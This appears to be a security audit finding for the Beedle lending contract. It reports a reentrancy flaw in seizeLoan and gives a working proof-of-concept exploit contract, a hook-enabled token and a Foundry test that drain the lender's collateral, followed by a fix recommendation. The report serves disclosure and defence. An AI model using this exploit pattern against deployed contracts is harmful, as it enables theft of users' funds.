Summary
Tokens allowing reentrant calls on transfer can be drained from the contract.
Vulnerability Details
Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens).
Example of token with hook on transfer:
pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract WeirdToken is ERC20 {
constructor(uint256 amount) ERC20("WeirdToken", "WT") {
_mint(msg.sender, amount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to != address(0)) {
(bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
}
}
}
This kind of token allows a re-entrancy attack in the seizeLoan function. When the a loan is put up for auction and the auction finishes, the collateral can be collected by the lender, the collateralToken are sent to the lender before updating the state.
File: Lender.Sol
L565: IERC20(loan.collateralToken).transfer(
loan.lender,
loan.collateral - govFee
);
bytes32 poolId = keccak256(
abi.encode(loan.lender, loan.loanToken, loan.collateralToken)
);
pools[poolId].outstandingLoans -= loan.debt;
emit LoanSiezed(
loan.borrower,
loan.lender,
loanId,
loan.collateral
);
delete loans[loanId];
https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L565
An attacker can take a loan in his own pool and seize it, then the hook on token transfer allows him to re-enter the seizeLoan function to extract another time the collateral amount from the contract.
Impact
POC
An attacker can use the following exploit contract to drain the lender contract:
File: Exploit6.sol
pragma solidity ^0.8.19;
import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit6 {
Lender lender;
address loanToken;
bool auctionEnded;
bytes32 attackerPoolId;
constructor(Lender _lender, address _loanToken) {
lender = _lender;
loanToken = _loanToken;
}
function attackPart1(address _loanToken, address _collateralToken) external {
ERC20(_loanToken).approve(address(lender), type(uint256).max);
ERC20(_collateralToken).approve(address(lender), type(uint256).max);
Pool memory pool = Pool({
lender: address(this),
loanToken: _loanToken,
collateralToken: _collateralToken,
minLoanSize: 1,
poolBalance: 100,
maxLoanRatio: type(uint256).max,
auctionLength: 5 minutes,
interestRate: 0,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(pool);
attackerPoolId = poolId;
Borrow memory b = Borrow({
poolId: poolId,
debt: 1,
collateral: 1_000*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
b = Borrow({
poolId: poolId,
debt: 99,
collateral: 1
});
borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
uint256 loanId = 0;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
lender.startAuction(loanIds);
}
function attackPart2(address _loanToken, address _collateralToken) external {
auctionEnded = true;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.seizeLoan(loanIds);
ERC20(_loanToken).transfer(msg.sender, ERC20(_loanToken).balanceOf(address(this)));
ERC20(_collateralToken).transfer(msg.sender, ERC20(_collateralToken).balanceOf(address(this)));
}
function tokensReceived(address from, address , uint256 ) external {
require(msg.sender == loanToken, "not loan token");
if (from == address(lender) && auctionEnded) {
uint256 lenderBalance = ERC20(loanToken).balanceOf(address(lender));
if (lenderBalance >= 1_000*10**18) {
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.seizeLoan(loanIds);
}
}
}
}
Here are the tests that can be added to Lender.t.sol to illustrate the steps of an attacker:
function test_exploit() public {
address attacker = address(0x5);
vm.startPrank(lender1);
WeirdToken weirdToken = new WeirdToken(1_000_000*10**18);
weirdToken.transfer(address(lender), 10_000*10**18);
weirdToken.transfer(address(attacker), 1_000*10**18 + 1);
loanToken.transfer(address(attacker), 100);
assertEq(loanToken.balanceOf(address(lender)), 0);
assertEq(weirdToken.balanceOf(address(lender)), 10_000*10**18);
assertEq(loanToken.balanceOf(address(attacker)), 100);
assertEq(weirdToken.balanceOf(address(attacker)), 1_000*10**18 + 1);
vm.startPrank(attacker);
Exploit6 attackContract = new Exploit6(lender, address(weirdToken));
weirdToken.transfer(address(attackContract), 1_000*10**18 + 1);
loanToken.transfer(address(attackContract), 100);
attackContract.attackPart1(address(loanToken), address(weirdToken));
vm.warp(block.timestamp + 5 minutes);
attackContract.attackPart2(address(loanToken), address(weirdToken));
assertEq(loanToken.balanceOf(address(lender)), 0);
assertEq(weirdToken.balanceOf(address(lender)), 1);
assertEq(loanToken.balanceOf(address(attacker)), 100);
assertEq(weirdToken.balanceOf(address(attacker)), 10_945*10**18);
}
Tools Used
Manual review + Foundry
Recommendations
Follow the Checks - Effect - Interactions (CEI) pattern by performing the token transfers at the end of the seizeLoan function AND use nonReentrant modifiers
